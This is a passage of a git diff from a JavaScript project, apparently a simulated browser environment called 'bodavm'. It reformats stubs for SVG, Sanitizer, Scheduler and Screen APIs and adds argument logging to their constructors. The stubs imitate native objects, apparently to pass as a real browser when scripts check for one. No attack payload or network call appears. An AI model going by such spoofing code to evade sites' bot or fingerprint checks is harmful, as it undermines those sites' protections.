arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setRotate", { + configurable: true, + enumerable: true, + writable: true, + value: function setRotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setRotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setScale", { + configurable: true, + enumerable: true, + writable: true, + value: function setScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setScale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewX", { + configurable: true, + enumerable: true, + writable: true, + value: function setSkewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewY", { + configurable: true, + enumerable: true, + writable: true, + value: function setSkewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setTranslate", { + configurable: true, + enumerable: true, + writable: true, + value: function setTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setTranslate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTransformList.js b/env_xbb_lastest_jsdom/env/SVGTransformList.js index ce76a8d6..90deeb58 100644 --- a/env_xbb_lastest_jsdom/env/SVGTransformList.js +++ b/env_xbb_lastest_jsdom/env/SVGTransformList.js @@ -1,14 +1,105 @@ -// SVGTransformList对象 -bodavm.memory.globalobj['SVGTransformList'] = function SVGTransformList(){if (!(this instanceof SVGTransformList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransformList'], "SVGTransformList"); -bodavm.toolsFunc.defineProperty('SVGTransformList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "consolidate", {configurable:true, enumerable:true, writable:true, value:function consolidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "consolidate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "createSVGTransformFromMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGTransformFromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "createSVGTransformFromMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTransformList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "replaceItem", arguments)}},'prototype'); +// SVGTransformList对象 + +bodavm.memory.globalobj['SVGTransformList'] = function SVGTransformList() { + console.log_copy('SVGTransformList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTransformList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransformList'], "SVGTransformList"); +bodavm.toolsFunc.defineProperty('SVGTransformList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "consolidate", { + configurable: true, + enumerable: true, + writable: true, + value: function consolidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "consolidate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "createSVGTransformFromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransformFromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "createSVGTransformFromMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransformList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransformList'].prototype, "SVGTransformList", "replaceItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGUnitTypes.js b/env_xbb_lastest_jsdom/env/SVGUnitTypes.js index a35c8d0d..669260f4 100644 --- a/env_xbb_lastest_jsdom/env/SVGUnitTypes.js +++ b/env_xbb_lastest_jsdom/env/SVGUnitTypes.js @@ -1,9 +1,53 @@ -// SVGUnitTypes对象 -bodavm.memory.globalobj['SVGUnitTypes'] = function SVGUnitTypes(){if (!(this instanceof SVGUnitTypes)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUnitTypes'], "SVGUnitTypes"); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +// SVGUnitTypes对象 + +bodavm.memory.globalobj['SVGUnitTypes'] = function SVGUnitTypes() { + console.log_copy('SVGUnitTypes 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGUnitTypes)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUnitTypes'], "SVGUnitTypes"); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUnitTypes', "SVG_UNIT_TYPE_OBJECTBOUNDINGBOX", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGUseElement.js b/env_xbb_lastest_jsdom/env/SVGUseElement.js index b87b2aaa..efb04852 100644 --- a/env_xbb_lastest_jsdom/env/SVGUseElement.js +++ b/env_xbb_lastest_jsdom/env/SVGUseElement.js @@ -1,10 +1,59 @@ -// SVGUseElement对象 -bodavm.memory.globalobj['SVGUseElement'] = function SVGUseElement(){if (!(this instanceof SVGUseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUseElement'], "SVGUseElement"); -bodavm.memory.globalobj['SVGUseElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGUseElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGUseElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGUseElement对象 + +bodavm.memory.globalobj['SVGUseElement'] = function SVGUseElement() { + console.log_copy('SVGUseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGUseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUseElement'], "SVGUseElement"); +bodavm.memory.globalobj['SVGUseElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGUseElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGUseElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGViewElement.js b/env_xbb_lastest_jsdom/env/SVGViewElement.js index 6b7df4cc..4ae46c55 100644 --- a/env_xbb_lastest_jsdom/env/SVGViewElement.js +++ b/env_xbb_lastest_jsdom/env/SVGViewElement.js @@ -1,14 +1,81 @@ -// SVGViewElement对象 -bodavm.memory.globalobj['SVGViewElement'] = function SVGViewElement(){if (!(this instanceof SVGViewElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGViewElement'], "SVGViewElement"); -bodavm.memory.globalobj['SVGViewElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGViewElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGViewElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "zoomAndPan", {configurable:true, enumerable:true, get:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_get", arguments)}, set:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +// SVGViewElement对象 + +bodavm.memory.globalobj['SVGViewElement'] = function SVGViewElement() { + console.log_copy('SVGViewElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGViewElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGViewElement'], "SVGViewElement"); +bodavm.memory.globalobj['SVGViewElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGViewElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGViewElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "zoomAndPan", { + configurable: true, + enumerable: true, + get: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_get", arguments); + }, + set: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGViewElement'].prototype, "SVGViewElement", "zoomAndPan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGViewElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Sanitizer.js b/env_xbb_lastest_jsdom/env/Sanitizer.js index 3ec7779f..9777cdcc 100644 --- a/env_xbb_lastest_jsdom/env/Sanitizer.js +++ b/env_xbb_lastest_jsdom/env/Sanitizer.js @@ -1,5 +1,30 @@ -// Sanitizer对象 -bodavm.memory.globalobj['Sanitizer'] = function Sanitizer(){this._boarg= new bodaobj.window.Sanitizer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sanitizer'], "Sanitizer"); -bodavm.toolsFunc.defineProperty('Sanitizer', "getDefaultConfiguration", {configurable:true, enumerable:true, writable:true, value:function getDefaultConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].undefined, "Sanitizer", "getDefaultConfiguration", arguments)}}); -bodavm.toolsFunc.defineProperty('Sanitizer', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].prototype, "Sanitizer", "getConfiguration", arguments)}},'prototype'); +// Sanitizer对象 + +bodavm.memory.globalobj['Sanitizer'] = function Sanitizer() { + console.log_copy('Sanitizer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Sanitizer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sanitizer'], "Sanitizer"); +bodavm.toolsFunc.defineProperty('Sanitizer', "getDefaultConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getDefaultConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].undefined, "Sanitizer", "getDefaultConfiguration", arguments); + } +}); +bodavm.toolsFunc.defineProperty('Sanitizer', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].prototype, "Sanitizer", "getConfiguration", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Scheduler.js b/env_xbb_lastest_jsdom/env/Scheduler.js index 4c033d0f..2e8ce69f 100644 --- a/env_xbb_lastest_jsdom/env/Scheduler.js +++ b/env_xbb_lastest_jsdom/env/Scheduler.js @@ -1,9 +1,32 @@ -// Scheduler对象 -bodavm.memory.globalobj['Scheduler'] = function Scheduler(){if (!(this instanceof Scheduler)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduler'], "Scheduler"); -bodavm.toolsFunc.defineProperty('Scheduler', "postTask", {configurable:true, enumerable:true, writable:true, value:function postTask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduler'].prototype, "Scheduler", "postTask", arguments)}},'prototype'); -// scheduler对象 -bodavm.memory.globalobj['scheduler'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['scheduler'].__proto__=bodavm.memory.globalobj['Scheduler'].prototype; +// Scheduler对象 + +bodavm.memory.globalobj['Scheduler'] = function Scheduler() { + console.log_copy('Scheduler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Scheduler)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduler'], "Scheduler"); +bodavm.toolsFunc.defineProperty('Scheduler', "postTask", { + configurable: true, + enumerable: true, + writable: true, + value: function postTask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduler'].prototype, "Scheduler", "postTask", arguments); + } +}, 'prototype'); + +// scheduler对象 + +bodavm.memory.globalobj['scheduler'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['scheduler'].__proto__ = bodavm.memory.globalobj['Scheduler'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Scheduling.js b/env_xbb_lastest_jsdom/env/Scheduling.js index 77977dd7..df4bb348 100644 --- a/env_xbb_lastest_jsdom/env/Scheduling.js +++ b/env_xbb_lastest_jsdom/env/Scheduling.js @@ -1,4 +1,25 @@ -// Scheduling对象 -bodavm.memory.globalobj['Scheduling'] = function Scheduling(){if (!(this instanceof Scheduling)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduling'], "Scheduling"); -bodavm.toolsFunc.defineProperty('Scheduling', "isInputPending", {configurable:true, enumerable:true, writable:true, value:function isInputPending (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduling'].prototype, "Scheduling", "isInputPending", arguments)}},'prototype'); +// Scheduling对象 + +bodavm.memory.globalobj['Scheduling'] = function Scheduling() { + console.log_copy('Scheduling 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Scheduling)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduling'], "Scheduling"); +bodavm.toolsFunc.defineProperty('Scheduling', "isInputPending", { + configurable: true, + enumerable: true, + writable: true, + value: function isInputPending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduling'].prototype, "Scheduling", "isInputPending", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Screen.js b/env_xbb_lastest_jsdom/env/Screen.js index cd795d26..ceeff83f 100644 --- a/env_xbb_lastest_jsdom/env/Screen.js +++ b/env_xbb_lastest_jsdom/env/Screen.js @@ -1,21 +1,116 @@ -// Screen对象 -bodavm.memory.globalobj['Screen'] = function Screen(){if (!(this instanceof Screen)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Screen'], "Screen"); -bodavm.memory.globalobj['Screen'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Screen'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Screen', "availWidth", {configurable:true, enumerable:true, get:function availWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availHeight", {configurable:true, enumerable:true, get:function availHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "colorDepth", {configurable:true, enumerable:true, get:function colorDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "colorDepth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "pixelDepth", {configurable:true, enumerable:true, get:function pixelDepth (){return 